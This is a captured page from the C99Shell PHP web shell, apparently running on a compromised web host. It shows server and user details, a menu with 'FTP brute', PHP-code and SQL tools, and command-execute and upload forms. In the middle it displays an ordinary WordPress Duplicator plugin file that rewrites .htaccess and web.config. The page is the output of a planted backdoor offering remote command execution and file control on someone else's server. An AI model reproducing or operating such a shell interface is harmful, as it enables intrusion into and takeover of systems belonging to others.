!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/installer/build/classes/config/   drwxr-xr-x
Free 182.81 GB of 490.84 GB (37.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.conf.srv.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class used to update and edit web server configuration files
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2 Full Documentation
 *
 * @package SC\DUPX\ServerConfig
 *
 */
class DUPX_ServerConfig
{

    
/**
     *  Clear .htaccess and web.config files and backup
     *
     *  @return null
     */
    
public static function reset()
    {


        
DUPX_Log::info("\nWEB SERVER CONFIGURATION FILE RESET:");
        
$timeStamp date("ymdHis");

        
//Apache
        
@copy('.htaccess'".htaccess.{$timeStamp}.orig");
        @
unlink('.htaccess');
        @
file_put_contents('.htaccess'"#Reset by Duplicator Installer.  Original can be found in .htaccess.{$timeStamp}.orig");

        
//IIS
        
@copy('web.config'"web.config.{$timeStamp}.orig");
        @
unlink('web.config');
        
$xml_contents  '<?xml version="1.0" encoding="UTF-8"?>' "\n";
        
$xml_contents .= "<!-- Reset by Duplicator Installer.  Original can be found in web.config.{$timeStamp}.orig -->\n";
        
$xml_contents .=  "<configuration></configuration>\n";
        @
file_put_contents('web.config'$xml_contents);

        
//.user.ini - For WordFence
        
@copy('.user.ini'".user.ini.{$timeStamp}.orig");
        @
unlink('.user.ini');

        
DUPX_Log::info("- Backup of .htaccess/web.config made to *.{$timeStamp}.orig");
        
DUPX_Log::info("- Reset of .htaccess/web.config files");
        
        
        @
chmod('.htaccess'0644);
    }

    
/**
     *  Resets the .htaccess file to a very slimed down version with new paths
     *
     *  @return null
     */
    
public static function setup($dbh)
    {
        if (!isset(
$_POST['url_new'])) {
            return;
        }

        
DUPX_Log::info("\nWEB SERVER CONFIGURATION FILE BASIC SETUP:");
        
$currdata     parse_url($_POST['url_old']);
        
$newdata     parse_url($_POST['url_new']);
        
$currpath     DUPX_U::addSlash(isset($currdata['path']) ? $currdata['path'] : "");
        
$newpath     DUPX_U::addSlash(isset($newdata['path']) ? $newdata['path'] : "");
        
$timestamp   date("Y-m-d H:i:s");
        
$update_msg  "# This file was updated by Duplicator on {$timestamp}. See .htaccess.orig for the original .htaccess file.\n";
        
$update_msg .= "# Please note that other plugins and resources write to this file. If the time-stamp above is different\n";
        
$update_msg .= "# than the current time-stamp on the file system then another resource has updated this file.\n";
        
$update_msg .= "# Duplicator only writes to this file once during the install process while running the installer.php file.\n";

        
$empty_htaccess     false;
        
$query_result     = @mysqli_query($dbh"SELECT option_value FROM `{$GLOBALS['FW_TABLEPREFIX']}options` WHERE option_name = 'permalink_structure' ");

        
//If the permalink is set to Plain then don't update the rewrite rules
        
if ($query_result) {
            
$row = @mysqli_fetch_array($query_result);
            if (
$row != null) {
                
$permalink_structure trim($row[0]);
                
$empty_htaccess         = empty($permalink_structure);
            }
        }

        if (
$empty_htaccess) {
            
$tmp_htaccess "{$update_msg}";
            
DUPX_Log::info("- No permalink structures set creating blank .htaccess file.");
        } else {
            
$tmp_htaccess = <<<HTACCESS
{
$update_msg}
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase 
{$newpath}
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . 
{$newpath}index.php [L]
</IfModule>
# END WordPress
HTACCESS;
                
DUPX_Log::info("- Preparing .htaccess file with basic setup.");
            }

        
file_put_contents('.htaccess'$tmp_htaccess);
        @
chmod('.htaccess'0644);
        
DUPX_Log::info("Basic .htaccess file edit complete.  If using IIS web.config this process will need to be done manually.");

    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0079 ]--